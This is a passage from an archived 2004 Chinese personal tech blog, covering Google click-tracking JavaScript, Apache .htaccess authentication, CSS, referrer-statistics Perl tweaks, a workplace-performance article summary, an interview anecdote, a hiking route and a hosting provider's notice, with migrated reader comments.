Google这种方式有以下用户感受方面的优点： 1 速度优势：不通过转向服务器，点击统计和目标网站的打开是同时并发产生的，这样就比转向服务器快，而且隐蔽； 2 用户感受优势：对于点击过的链接，按照HTML的规范，会显示成棕色，这样用户就比较容易从搜索结果中区别那些是以前点击过的内容，那些是没有点击过的内容，但是基于转向服务器的统计由于需要很多签名的校验，因此经常无法固定URL，这样在一个以前搜索过的搜索结果页面中，用户可能无法直接通过页面分别那些是点击过的链接，那些不是。

我以前曾经参考类似机制实现了一个通过Javascript获得当前屏幕分辨率和鼠标坐标实现的页面点击密度统计的系统设计：这个是BlogChina的点击密度统计分析

6月12日： Recently scripts changed to 3 parameters: el ct cd

function clk(el,ct,cd) {if(document.images){(new Image()).src="/url?sa=T&ct="+ct+"&cd="+cd+"&url="+escape(el.href);}return true;}

Example: A CVS Book

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

toilet seat · 2004-06-30 15:55

如何成为优秀工作者－Robert E . Kelley

Tue, 20 Apr 2004 22:18:30 +0800

原文作者：Robert E . Kelley 很幸运在刚毕业的时候看到过这篇文章，推荐过给很多人。

本文中 ·掌握…… 优秀工作者创造出比普通工作者眩目的工作成绩所依赖的九项策略。 ·理解…… 主动地提出一些超出你工作范围之外，但对整个组织都有利的、大胆的、建设性的观点。 ·网络…… 优秀工作者用来与那些将使其工作更加有效的专家联络的有效途径。 ·增加…… 通过自我管理你的工作行为以及尝试从不同角度分析一个项目，使你对你的公司更有价值。 ·影响…… 利用你优秀的组织知识和表达技巧来说服别人接受你的观点。 ◆ ◆

管理者和工作者一直为一个重大的秘密所困扰：是什么样的特质使得一个优秀工作者可以创造出十倍于普通工作者的成绩。通过在贝尔实验室和3M等公司近十年的研究，Robert E. Kelley和他的同事们终于发现了令人吃惊的结论。要成为一名优秀工作者，你无需高IQ、非常强的自信或者圆滑的社交技巧，事实上，你只需改进你的工作策略。这个结论非常的有价值。因为在这样一个竞争激烈的时代，公司可由此使得他所有的雇员，而不仅是优秀工作者，都发挥出巨大的才能。

在这篇摘要中，你将学到优秀工作者所采用的九大策略。即使你已经成为一名优秀工作者，理解这九条策略也能帮助你增加你和你同事们的工作业绩。

◆ ◆ 在我们讨论这九条策略之前，我们先来总结一下Kelley和他的同事Janet Caplan是如何得出这一结论的。在80年代中期，他们的调查小组花了两年的时间开展在贝尔实验室，世界上最早的研发组织的咨询项目。

贝尔实验室拥有许多世界上最好的工作人员，但他们中只有很少一部分成为"一抵十"的人物，那些能完成十份普通工作者工作的杰出工作人员。公司想知道，什么样的因素使他们产生这样的分化，从而可以雇佣到更多的优秀人才。

首先，Kelley要求管理者和工作者分别列出，当面临危机或开始一个重大的新项目时，他们认为值得求助的个人的名单。结果所得到的两组名单中，只有一半的名字是相同的。而且Kelley还发现，管理者和工作者对谁是优秀工作者的意见并不一致。

Kelley的小组于是又要求总经理、中层管理者列出那些名字同时出现在两组名单上的优秀工作者所不同于普通雇员之处。所提及的45个因素可分为三类：

1、认识力的因素，如高IQ、逻辑能力、理性及创造力。 2、个性因素，如自信、雄心以及冒险精神。 3、社会因素，如个人技巧和领导才能。

Kelley接着面试了200名优秀和普通工作者以寻找他们在这45个因素上的区别。结果被输入计算机并分析了四个月。所得的结论是：并非这45个因素，包括高IQ、优秀的社交能力、充分的自信等，造成他们之间如此巨大的差异。

这就意味着，“这种优秀不是与生俱来，而是后天培养所得” 。如果人人所认为的那些使一个人优秀的因素都不是真正的源动力的话，那么任何人都可以通过改进工作方法而成为优秀工作者。

◆ ◆

通过数千个小时与优秀工作者的详细的面谈和对他们的跟踪观察，Kelley和他的小组终于掌握了他们的关键行为。正是这些关键的日常行为造就了他们出色的工作成绩。

例如，一个普通工作者在学习中通常需要一个星期的时间来写100行软件代码。而一个优秀的工程师只用一天的时间、四行代码就可完成同样功能，区别仅在于他打了两个电话请教专家，从而帮助他在1/5的时间内仅以四行代码就实现相同功能。

只要把这九条策略贯彻到你的日常生活中去，你就能极大提高工作能力。这九条策略按重要性的次序排列如下：

1、主动性 2、网络化 3、自我管理 4、洞察力 5、下属关系 6、领导关系 7、团队工作 8、组织知识 9、表述能力

这些策略看起来并不新鲜，因为即使是普通工作者也会同意这些观点，但重要的是优秀工作者们"如何定义和排列这些策略"。有趣的是，普通工作者也会列出同样的九条策略，但他们却以完全相反的顺序排列这些策略：表述能力第一，而主动性最后。普通工作者对这九条策略有着完全不同的理解。下面我们先来看一下优秀工作者和普通工作者对这些策略的不同看法：

1、主动性：普通工作者认为这意味着做更多努力来改进’自我’的工作，例如使用更快的计算机或主动做一些额外的工作，如计划一年一度的野餐会，来引起经理的注意。相反，优秀工作者认为主动性意味着在工作范围之外提出一些有益于同事和整个组织的，大胆的、建设性的建议。

2、网络化：对普通工作者而言这意味着闲谈和传播小道消息。对优秀工作者则意味着开发与能对自己有帮助的专家联系的网络。

3、自我管理：普通工作者认为这是帮助他们管理好自己时间和项目的技巧。优秀工作者则认为是发展一些能力和经验，使自己对于公司更有价值。

4、洞察力：普通工作者认为这意味着如何使他们的观点受到最大的关注。优秀工作者则认为是尝试从不同角度看问题，如站在顾客、竞争者、同事、老板的角度看同一问题，以求提出更好的解决方案。

5、下属关系：普通工作者认为是毫无保留的接受老板的指示，做自己分内的事。优秀工作者则认为是和上司一起合作完成公司的目标，即使两人在性格上存在差异。

6、领导关系：对普通工作者而言，领导只意味着一种把自己的意志强加于人的权力。而优秀工作者认为领导是运用他的经验和影响力来劝说别人接受一项艰巨的任务。

7、团队工作：普通工作者仅认为是在一个团队中与其他人共同致力于一个项目，各人完成属于自己的一部分。优秀工作者则认为该把各人的目标、行为和成果都结合起来。

8、组织知识：普通工作者理解为对适当的人溜须拍马，而优秀工作者则认为是如何协调不同方面的利益，使得工作得以顺利完成。

9、表述能力：普通工作者理解为通过圆滑的语言来吸引高层领导对他个人的关注。优秀工作者则认为这是一种技巧，它可以通过有效途径使得你的听众接受你所提供的信息。

如果你想成为一名优秀工作者，你就必须按我们所列顺序来发展。当普通工作者视圆滑的表述为个人表现的最高境界时，优秀工作者却相信，只有主动去提出了一个能吸引听众的观点后，这些表述能力才有意义。

◆ ◆

主动性

在这九条策略中，主动性是最能体现优秀工作者与普通工作者差异的一点。举个例子来看一下，贝尔实验室新雇了两个工程师，Henry和Lai工作的头六个月对他们的安排是一样的，早上听课，下午完成工作任务。

Henry每天下午都把自己关在办公室里，阅读技术文件，学习一些日后工作中可能用得着的软件程序。他认为，问题的关键在于他是否能向同事们证明自己在技术方面是如何的出色。而Lai除了每天下午花三个小时看资料外，她把剩余的时间都花在向同事们介绍自己和询问与他们项目有关的一些问题上了。当他们遇到问题或忙不过来时，她就自动帮忙。

当所有办公室的PC都要安装一种新的软件工具时，每个工作者都希望能跳过这种耗时的、琐碎的安装过程。由于Lai已经知道如何安装，她便自愿为所有机器安装这个工具。这使得她不得不每天早出晚归，以不影响其他工作。六个月后，Henry和Lai都完成了工作安排。他们的两个项目从技术上讲完成得都不错，Henry的稍显优势。但Henry成了一个独行者，无法与同事分享他的能力。Lai则是一个有主动性的工程师，善于为别人提供帮助。经理认为她能够承担紧急的任务。

Kelley对Henry、Lai以及贝尔实验室中其他工程师的观察揭示了，任何一个具有专业技能，有竞争力的新雇员都必须在最初的6到12个月证明自己的主动性，否则就意味着你和别人毫无区别。在80年代末，当全国的经理都不得不开始裁员时，首选的将是那些缺乏主动性的雇员。

令人惊讶的是，Henry自认为具备主动性。没人要求他收集最新的技术资料或学习最新的软件工具，但他做到了，所以他可以把他的工作完成的比别人出色。但主动性并不意味着如何使你自己的工作更出色。对于优秀工作者来说，主动性意味着在工作之余，做一些事使所有的人收益。

优秀工作者从以下五个方面来体现主动性：

·首先，“承担自己工作以外的责任”。正如Lai所做的。

·第二，“为同事和集体做更多的努力”。正如Lai主动安装软件，为同事的项目提供帮助等，Henry只是为了优化自己的项目而做努力。

·第三，“能够坚持自己的想法或项目，并很好的完成它”。正如Lai所做的，尽管这要求付出许多额外时间。

·第四，“愿意承担一些个人风险"来接受新任务，正如Lai冒忽视自己工作的风险帮助她的同事。

DOCTYPE! HTML PUBLIC 声明规范： HTML 4.01 / XHTML 1.0 / XHTML 1.1 DTD

Tue, 20 Apr 2004 10:48:38 +0800

摘自：Fix Your Site With the Right DOCTYPE!: A List Apart

DOCTYPE的常用声明：按照 HTML 4.01 XHTML 1.0 XHTML 1.1 列表如下，错误的DOCTYPE HTML PUBLIC反而会导致页面解析错误。

HTML 4.01规范分为：Strict, Transitional, Frameset

XHTML 1.0规范分为：Strict, Transitional, Frameset

XHTML 1.1 DTD

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Dive Into Accessibility 深入“亲和力”

Tue, 20 Apr 2004 00:40:33 +0800

Dive Into Accessibility：中文翻译

Dive Into Accessibility 原文

第一周跳过第一周的诀窍前言第一天：Jackie 第二天：Michael 第三天：Bill 第四天：Lillian 第五天：Marcus

第二周跳过第二周的诀窍第六天：选择 DOCTYPE 第七天：指定你的语言第八天：建立有意义的网页标题第九天：提供额外的导览协助第十天：先呈现你的主要内容

第三周跳过第三周的诀窍第十一天：跳过导览列的链结第十二天：安全地使用色彩第十三天：使用真实链结第十四天：在链结上加入标题第十五天：定义快速键

第四周跳过第四周的诀窍第十六天：不要开出新窗口第十七天：定义头字语第十八天：在月历中加上真的标题第十九天：使用真的表格标头第二十天：提供表格摘要

第五周跳过第五周的诀窍第二十一天：忽略卡位图片第二十二天：使用真正的清单（或以适当的方法伪造）第二十三天：提供能取代图片的文字第二十四天：提供能取代影像地图的文字第二十五天：使用真正的水平分割线（或以适当的方法伪造）

第六周跳过第六周的诀窍第二十六天：使用相对字型尺寸第二十七天：使用真正的标头第二十八天：加上组件描述第二十九天：加入站台搜寻功能第三十天：撰写亲和力声明结语

附录亲和力声明使用声明译本

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Platinum · 2004-04-22 13:01

车东志

Thu, 15 Apr 2004 12:18:06 +0800

Grassland–中文Blog搜索引擎上搜索：车东

找到17个匹配搜索条件“车东”的结果，重复的结果已经被忽略。

基于Google的学习过程来自:BLOG部落 …读了一片车东的基于google的学习过程，受益菲浅。以前只是知道通过尽可能多的关键字查询，或者当相关的中文内容非常少时，通过将关键字翻译成英文key word再查询。有了Google，学习特别是计算机相关的倒是方便多了。Google… http://blog.msnfans.com/?v=e&id=4381 主页 - 所有贴子- 链接 - RSS- 相似的贴子 - 存档 - 1个图片 - 2004-4-7 21:47:58

Web Server 必改配置之 IIS 来自:KINGFISH和蜗牛的家 …日志部分：这件事情是我阅读 AWStats: Apache/IIS的日志分析工具 from 车东 Che, Dong 之后才发现的 IIS…… http://www.niufish.com/archives/2004/000109.html 主页 - 所有贴子- 链接 - RSS- 相似的贴子 - 存档 - 1个图片 - 2004-4-4 21:52:52

安装CVS Server和Web CVS 来自:Windix’s Weblog …然后就安装CVSWEB系统，在车东的文章里面有一些说明。…不过从车东那里下载回来的cvsweb里面缺少cvsweb.conf文件… http://www.douzi.org/blog/index.php?itemid=173 主页 - 所有贴子- 链接 - RSS- 相似的贴子 - 存档 - 1个图片 - 2004-3-24 18:54:51

微软的井盖为什么是圆的

Thu, 15 Apr 2004 12:17:06 +0800

转载：多伦多蜗居记交流的重要性。

今天杰克老弟发来了一个好消息，在今天的面世中，当场搞定一个工作，杰克老弟一马当先，“额代表党增央，哥无言，增央军委，想他表思热烈地—(深呼吸)—助呵”!

前面是引子，今天说说微软的一道面试题"为什么井盖总是园的?"

如果你在www.google.com 上用“微软面试题”来搜搜，一定会找到很多“微软面试题”，不过不要当真，根据微软中国的员工所言，他们面试从来没有考过这种题目。在多数网页的诸多的题目中，第一个一般就是“为什么井盖总是园的?”，他们并没有给出什么标准答案，按照我自己的理解，应该是“园的不容易掉下去，而方的容易掉下去”。今天看到报纸上牛人的回答，搞的面试官毫无脾气，当场就给了这个Offer.

理查德·范曼在微软找工作

面试官：现在我们要问一个问题，看看你的创造性思维能力。不要想得太多，运用日常生活中的常识，描述一下你的想法。这个问题是，下水道的井盖为什么是圆的？

范曼：它们并不都是圆的，有些是方的，的确有些圆井盖，但我也看过方的，长方的。

面试官：不过我们只考虑圆形的井盖，他们为什么是圆的？

范曼：如果我们只考虑圆的，那么它们自然是圆的。

面试官：我的意思是，为什么会存在圆的井盖？把井盖设计成圆形的有什么特殊的意义吗？

范曼：是有特殊意义，当需要覆盖的洞是圆形时，通常盖子也是圆的。用一个圆形的盖子盖一个圆形的洞，这是最简单的办法。

面试官：你能想到一个圆形的井盖比方形的井盖有哪些优点吗？

范曼：在回答这个问题之前，我们先看看盖子下面是什么。盖子下面的洞是圆的，因为圆柱形最能承受周围土地的压力。而且，下水道出孔要留出足够一个人通过的空间，而一个顺着梯子爬下去的人的横截面基本是圆的，所以圆形自然而然地成为下水道出入孔的形状。圆形的井盖只是为了覆盖圆形的洞口。

面试官：你认为存在安全方面的考虑吗？我的意思是，方形的井盖会不会掉进去，因此造成人身伤害？

范曼：不大可能。有时在一些方形洞口上也会看到方形的盖子。这种盖子比入口大，周围有横挡，通常这种盖子是金属质地，非常重。我们可以想象一下，两英尺宽的方形洞口，1到1.5英寸宽的横挡。为了让井盖掉进去，需要抬起一端，然后旋转30度，这样它就不受横挡的妨碍了，然后再将井盖与地平线成45度角，这时转移的重心才足以让井盖掉下去。是的，方形的井盖的确存在掉下去的可能，但可能性很小，只要对负责开井盖的人稍加培训，他就不会犯这样的错误。从工程学来看，井盖的形状完全取决于它要覆盖的洞口的形状。

面试官：(面有难色)我要与管理层谈点事情。(离开了房间)

10分钟后，面试官回来了。

面试官：我们推荐你立刻去推销部工作。

至于故事是否真实我们就无从考究了，但是这个故事至少告诉我们一个非常重要的道理，那就是：

英语一定要好

不信，你把上面这个牛人说的立马用英语说说试试!

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

kola · 2004-04-21 15:04

不去微软面试就不用说英语了！

chy · 2004-05-08 23:24

oh~~~yes,I can do I think!

kuul · 2007-02-14 23:15

估计这个题目要成为历史了

http://bailing4015.blog.sohu.com/ · 2007-05-23 10:18

英语相当于世界语,是生存得更好的必备工具.

meng · 2007-11-27 20:24

圆有圆的道理,方有方的理由,我们要做的就是学习应用!!!!!!

如果你参加一个吃番茄比赛,你认为你怎么吃会获胜啊?

Wed, 14 Apr 2004 10:31:33 +0800

A番茄夹蜜饯; B番茄炒蛋; C直接吃; D番茄沙拉; E番茄汁.

这是测验你的偷情指数的: A婚后偷情指数为百分之60. B为百分之40, C为百分之100, D为百分之55, E为终贞不二.

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Hilton · 2004-04-14 13:49

天呐！

lomen · 2004-04-16 12:17

不敢相信这是真的

Tom Cruise · 2004-04-28 11:43

不可能的任务

shenyu · 2004-06-02 21:13

我不同意，我认为能选择E并做下去会获胜，但忠心的肯定是C

mercury · 2004-12-05 00:46

有解释吗？

lingling · 2007-04-05 15:45

你的不准，我搜了一下，选项是这样的： A、番茄夹蜜饯; B、番茄炒蛋; C、直接吃; D、番茄沙拉; E、番茄汁. F、糖拌番茄

你少了一个选项

结果是这样的：选择A：番茄夹蜜饯，婚后的偷情概率为60％选择B：即爱吃番茄炒蛋的，婚后的偷情概率为40％选择C：直接吃，婚后偷情概率为0 选择D：婚后偷情概率为20％选择E：婚后偷情概率高达99％选择F：婚后偷情概率是200％

周末学习计划：GnuPG

Tue, 13 Apr 2004 12:18:38 +0800

Gentoo Linux Documentation – GnuPG Gentoo 使用者指南

一直没有弄懂什么是GNUPG。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Xin LI · 2004-04-14 14:21

GnuPG基本上可以被认为是PGP的GNU实现，我现在主要用它做邮件签名，感觉不错(和mutt集成)。

用Apache的.htaccess文件增加用户认证

Mon, 12 Apr 2004 20:24:59 +0800

有时候某些目录下的文件需要增加认证，Apache缺省的认证模块都是很完备的，以下就是一个通过.htaccess文件增加用户认证的例子。即使对于虚拟主机用户也可以通过上传一些文件来实现认证控制。

首先用htpasswd创建一个密码文件：比如文件名叫做my.passwd /home/apache/bin/htpasswd -c -b my.passwd myusername mypassword 如果增加帐号： /home/apache/bin/htpasswd -b my.passwd anotherusername anotherpassword

将my.passwd上传到一个非发布路径下。比如你的物理WEB根目录的上一级 /home/apache/conf/my.passwd

创建 .htaccess AuthName “My Authorization Directory” AuthType Basic AuthUserFile /home/apache/conf/my.passwd Require valid-user

将这个文件上传到你需要进行用户认证的目录： /home/apache/htdocs/admin/.htaccess

这样这个目录的访问就需要认证了。

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Hilton · 2004-04-12 21:27

深层目录时会不会有性能问题？

cpedia · 2004-04-27 14:31

可以在.htaccess中设置是否能访问目录列表吗？当然是在AllowOverride All的情况下

我想知道具体语法。谢谢！

Ivan · 2007-03-02 16:53

请问-b这个参数是什么意思？我通常只加-m：MD5加密方式

流氓兔斯基tu321.com · 2010-05-23 12:34

.htaccess还是尽量少在访问量大的网站进行使用，性能代价太高啦

利用CSS，不通过replace替换标引HTML标记

Mon, 12 Apr 2004 17:35:05 +0800

其实css也是将HTML从数据和表现分离的有力工具。石头的CSS Oriented Design：COD非常合我的口味，摒弃TOD(Table Oriented Design)还真不是意见容易的事情，但是一旦实现，系统本身就实现了分工和协作：就能像Winamp一样换皮肤了，从而发挥用户最大的能动性。最直接的例子就是本网站使用的MT系统，所有的STYLE都来自MovableStyle，。

需求：将XML结果集中的**显示成红色，其实完全可以通过客户端的CSS实现：代码如下：

首先

利用CSS，不通过replace替换标引HTML标记

利用CSS，不通过replace替换标引HTML标记

这样：在CSS中定义了：b {color:red;}

后，所有的除了加粗外，还有红色的属性，为了防止整个页面中的其他都被标红，我将结果都放在一个< blockquote>

中，然后再在CSS中定义：

由于CSS的继承关系，只有所有在blockquote中的**才会被标红：

通过设置 font-weight:normal 甚至可以让**字体变细。

通过这个问题：得出一下2个结论 1 设计带有标引的对外搜索服务时，可以使用**做为标记 2 在客户端，可以通过CSS来实现控制。

关于：CSS, Accesibility and Standards Links

后记：也曾经一段时间非常追求XML/XSLT/CSS的数据/结构/表现分离的理念。但是XSLT实施成本的确比较高，所以Resin上开发了基于XHTML的轻量级模板技术，我觉得还挺人性的 ASP .net的实现也是类似。

可能没有最好的模式，只有最合适的模式：关键还是要看开发本身的复杂程度数百行代码过程性编程效率可能最高；千行代码量可能面向函数开发效率最高；万行代码量时，可能就不得不OO了；

Winamp 5.03：增加了CD音轨抓取，缺省为MP4 AAC格式

Sun, 04 Apr 2004 23:49:11 +0800

新版界面上增加了CD音轨的抓取，但是CD音轨抓取和光盘刻录功能都集成在：Winamp labary里。缺省还不太好找。抓取的格式缺省格式是AAC格式，文件结尾为m4a。

总算在这CD音轨抓取方面赶上了MusicMatch。CDDB支持不错，而且歌曲命名缺省按照编号歌名排列，这样非常不错，有助于整理。我又开始用Winamp了（快速的经典界面）

AAC的定义：好像是比MP3好 Advance Audio Coding, one of the coding standards adapted in MPEG-2 and MPEG-4, ISO/IEC 13818-7. It has a better compression ratio and audio quality than MPEG-2 Layer 3.

抓图如下：

Google的个性化搜索

Tue, 30 Mar 2004 17:25:09 +0800

Google的个性化搜索截图

我设置了自己关心的主题：Asia

在个性化不启用的情况下的搜索结果：

在启用个性化后的结果：

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

网站建设 · 2004-04-20 16:23

搜东西的时候不会这样搜吧？

保护环境随手可做的100件小事

Tue, 30 Mar 2004 13:57:56 +0800

保护环境随手可做的100件小事－目录

保护环境随手可做的100件小事 1 使用布袋 2 尽量乘坐公共汽车 3 不要过分追求穿着的时尚 4 不进入自然保护核心区 5 倡步行，骑单车 6 不使用非降解塑料餐盒 7 不燃放烟花爆竹 8 双面使用纸张 9 节约粮食 10 拒绝使用一次性用品 11 消费肉类要适度 12 随手关闭水龙头 13 一水多用 14 尽量购买本地产品 15 随手关灯，节约用电 16 拒绝过分包装 17 使用节约型水具 18 拒绝使用珍贵木材制品 19 拒绝使用一次性筷子 2O 尽量利用太阳能 21 尽量使用可再生物品 22 使用节能型灯具 23 简化房屋装修 24 修旧利废 25 不随意取土 26 多用肥皂，少用洗涤剂 27 不乱占耕地 28 不焚烧秸杆 29 不干扰野生动物的自由生活 3O 不恫吓、投喂公共饲养区的动物 31 不吃田鸡，保蛙护农 32 提倡观鸟，反对关鸟 33 不捡拾野禽蛋 34 拒食野生动物 35 少使用发胶 36 减卡救树 37 不穿野兽毛皮制作的服装 38 不在江河湖泊钓鱼 39 少用罐装食品、饮品 4O 不用圣诞树 41 不在野外烧荒 42 不购买野生动物制品 43 不乱扔烟头 44 不乱采摘、食用野菜 45 认识国家重点保护动植物 46 不鼓励制作、购买动植物标本 47 不把野生动物当宠物饲养 48 观察身边的小动物、鸟类并为之提供方便的生存条件 49 不参与残害动物的活动 50 不鼓励买动物放生 51 不围观街头耍猴者 52 动物有难时热心救一把，动物自由时切莫帮倒忙 53 不虐待动物 54 见到诱捕动物的索套、夹子、笼网果断拆除 55 在室内、院内养花种草 56 在房前屋后栽树 57 节省纸张，回收废纸 58 垃圾分类回收 59 旧物捐给贫困者 60 回收废电池 61 回收废金属 62 回收废塑料 63 回收废玻璃 64 尽量避免产生有毒垃圾 65 使用无氟冰箱 66 少用纸尿布 67 少用农药 68 少用化肥，尽量使用农家肥 69 少用室内杀虫剂 70 不滥烧可能产生有毒气体的物品 71 自己不吸烟，奉劝别人少吸烟 72 少吃口香糖 73 不追求计算机的快速更新换代 74 集约使用物品 75 优先购买绿色产品 76 私车定时查尾气 77 使用无铅汽油 78 不向江河湖海倾倒垃圾 79 选用大瓶、大袋装食品 80 了解家乡水体分布和污染状况 81 支持环保募捐 82 反对奢侈，简朴生活 83 支持有环保倾向的股票 84 组织义务劳动，清理街道、海滩 85 避免旅游污染 86 参与环保宣传 87 做环保志愿者 88 认识草原危机 89 认识荒漠化 90 认识、保护森林 91 认识、保护海洋 92 爱护古树名木 93 保护文物古迹 94 及时举报破坏环境和生态的行为 95 关注新闻媒体有关环保的报道 96 控制人口，规劝超生者 97 利用每一个绿色纪念日宣传环境意识 98 阅读和传阅环保书籍、报刊 99 了解绿色食品的标志和含义 100 认识环保标志

Stephen的referrer统计系统使用和改进：如何对来自百度的来源进行统计

Tue, 23 Mar 2004 13:07:22 +0800

referer是HTTP协议中，记录用户访问当前网页前的链接地址，通过referer机制，可以把互联网的上各个节点天然自动关联成一个地图。目前很多站点上显示的最新来源（referer）统计都是用的是： Stephen的referrer统计系统

由于他的http://www.downes.ca/每天要承受85万的日统计访问量并承受大量的SPAM（referer作弊），因此已经关闭了referrers统计系统，但系统程序本身是基于GNU版权公开发布的，所以其实每个服务器上都可以安装（我在51.net上安装没成功）

以下是我的安装和改进简介：

目前有2个版本：一个是1.0版本，也是我目前网站上在用的另外一个是开发中的2.0版本，加入了对数据的支持。但是目前还没有找到安装文档。

安装：一个是嵌入页面中的JavaScript代码referrers.js，一个是后台的CGI统计程序referrers.cgi

比如把referers.js部署在 http://www.example.com/referrers.js 其中的代码指向： http://www.example.com/cgi-bin/website/referrers.cgi

在需要进行来源统计的页面中将

嵌入就可以了

改进：如何让百度的来源得以显示以前遇到一个问题，来源统计中来自搜索引擎的应该很多，但是没有百度的：我检查了一下发现通过以下方式可以记录。~~可能是百度的搜索页面baidu?word=xxx做了一些特别的设置导致了无法统计吧~~。可能是因为http://www.google.com/search参数为空，Google仍然可以返回带有标题的网页，但是百度http://www.baidu.com/baidu如果没有参数，就是“找不到网页”了。所以REFERER系统在去掉参数后，就可能找不到来源。

我发现在代码中加入以下修改，按照真对类似Google的方式统计来自百度和3721的来源，搜索结果也就会有统计了： if ($in =~ /google/ig) { $in = “http://www.google.com”; } # Standardize Google if ($in =~ /baidu/g) {$in = “http://www.baidu.com”;} # Standardize Baidu if ($in =~ /3721/g) {$in = “http://www.3721.com”;} # Standardize 3721

其实，目前的REFERER统计系统是精确到页面级的，在后面的版本中都变成域名级的了。

另外：字符集问题由于JS的显示页面和来源页面的字符集不一致：比如来源网站是简体中文GBK字符集，而JS嵌入的页面是UTF-8，这样在显示的时候就有可能乱码。另外：MT的TRACKBACK中也有类似问题。

因此需要进行一些字符集的检测和转换过程。近期我打算参照在AWStats中做的UTF-8自动检测改进对referer.js做一些改造。

总体来说：referrers系统 1.0由于记录是基于CGI对文本的操作的，总体效率不是很高，但是配置简单，很适合小访问量的个人站点使用，包括很多BLOG系统本身，都是非常小巧，适合个人构建，这样很多服务和内容就不会因为个别服务商网站的倒掉对内容，也就是互联网所提倡的所谓的“分权”和“无中心化”（Decentralization）吧

注释： HTTP标准中的referer的确是一个笔误：少了一个’r’，应该是referrer，但用的时间长了，也就成了标准。

后记： 6E完成了一个修正后的版本，并提供了服务。

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Hilton · 2004-03-25 13:18

五一北京周边出行参考

Fri, 19 Mar 2004 21:24:43 +0800

五一北京周边出行参考

穿越路线：从苹果园坐326（车票一元路程45分钟）到门头沟圈门终点站，下车后即上潭杯山——龙潭——潭柘寺——卧佛——931坐车回家。

从绿野上转贴的计划简介：行程50华里以内，和大香八拉，九龙山一样，都属于出了苹果园地铁后30分钟之内就可以上山且强度不大景色优美，适于新人拉练的近郊最佳路线，一路上地貌复杂多变移步换景，峰峦叠幛、沟壑纵横，穿行于西山的数条千年古道，可以在充分享受大自然的美色和空气，同时也能发现诸多残恒断壁，庙址碑刻、从众多文化遗址中，探寻沧桑历史的足迹。一路上有山有水有人烟，还有众多人文景观，足以使人忘却疲劳，全部行程正常速度约6小时（速度不可太慢，否则失去新人拉练意义），中午大家围坐一起交流户外经验，互相介绍分吃午餐。（吸取上次的经验）下午五点以前返回，大约为绿野1。5级，劝君切勿掉以轻心，拿着俺家窝头不当粮食，面不改色地走下来也并非易事，历来新人队里故事多；呼爹叫娘者有之，怒骂领队者有之，以泪洗面者亦有之，半途而废当逃兵者还有之，但愿这次不是你。只要坚持走完全程，保你大呼“值得”，相信有了这碗“酒”垫底，今后纵有千难万险也挡不住你们勇敢的脚步。

注意： 1.本次活动实行“三不”政策；一不强调装备（一双旅游鞋就行）二不强调体力（只要您会走路没病就行）三不论是否绿野成员（会说地球上任何一种语言就行）。 2.男带2升女带1-1.5升水，自带午餐

326公交车(六区地铁-圈门)的相关资料（来自北京公交网）：车站在苹果园地铁站出口过街右手不远处的停车场里。起点站：六区地铁，终点站：圈门。线路长度：12.50公里。所属公司：客四。非空调车，月票有效，单一票制：全程票价1元。行车路线：1、六区地铁，2、金顶街，3、石景山，4、小西门，5、火车站，6、麻峪，7、侯庄子，8、双峪路西口，9、新桥大街，10、河滩，11、小黑山，12、龙门，13、增产路，14、东辛房，15、西辛房，16、圈门

后记： 3月20日：由于走错了路，爬上了旁边的九龙山，不过下山时无意中路过的“石阶”也算是不需此行，计划下次再去

4月3日，终于完成了贪杯山－谈着寺之旅……很开心，和2个MM一起。

4月11日看到了HEDONG的小西湖游记，下次去。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Hilton · 2004-03-25 13:20

提个建议：　　如果下次再有这种允许“新驴”参加的活动，能否再提前几天通知一下？　　非常想参加这类活动，尤其是适合“新驴”们的，交通也方便的，遗憾的是看到你的blog时，我已经安排了其它活动了。:(

cyril · 2004-03-30 20:34

很有兴趣参加，同上，能否提前告知？

虎翼网关于论坛整改的通知

Fri, 19 Mar 2004 17:23:30 +0800

尊敬的用户：虎翼网接到上级主管部门通知，必须从即日起加强对虚拟主机用户，特别是经营论坛的用户的管理。由于多次出现用户论坛被上传政治敏感内容，甚至反动内容的帖子，上级主管部门责令近期整改，因此规定如下：（1）所有开设论坛，留言板等电子公告的用户必须遵照国务院292号令及信息产业部《互联网电子公告服务管理规定》的内容，得到所在地区电信管理部门的批准和备案。并将有关文件传真至虎翼网。（2）所有开设论坛，留言板等电子公告的用户，必须对其内容加强管理并负全责。在接到上级主管部门（包括国家安全部门，公安部门，信息管理部门，新闻管理部门）通知的情况下，虎翼网将立即关闭有关用户帐户，不做任何通知，并全力协助上级部门工作，直至追查有关人员的法律责任。

虎翼网将一如既往的为您提供优质服务，也请您在百忙之中配合我们做好以上工作。

虎翼网用户服务中心.
2004年03月19日

Received: from m3.51.net ([202.99.11.115]) by mc10-f13.hotmail.com with Microsoft SMTPSVC(5.0.2195.6824); Fri, 19 Mar 2004 00:21:47 -0800 Received: by m3.51.net (Postfix, from userid 0)id 8031D111653; Fri, 19 Mar 2004 16:11:35 +0800 (CST) X-Message-Info: JGTYoYF78jEEUkZZnJ3J8nsc29vQNUvX Message-Id: 20040319081135.8031D111653@m3.51.net Return-Path: accountadmin@51.net X-OriginalArrivalTime: 19 Mar 2004 08:21:48.0601 (UTC) FILETIME=[394A6A90:01C40D8B]

======================== 2005年05月08 尊敬的用户：

　　您好!

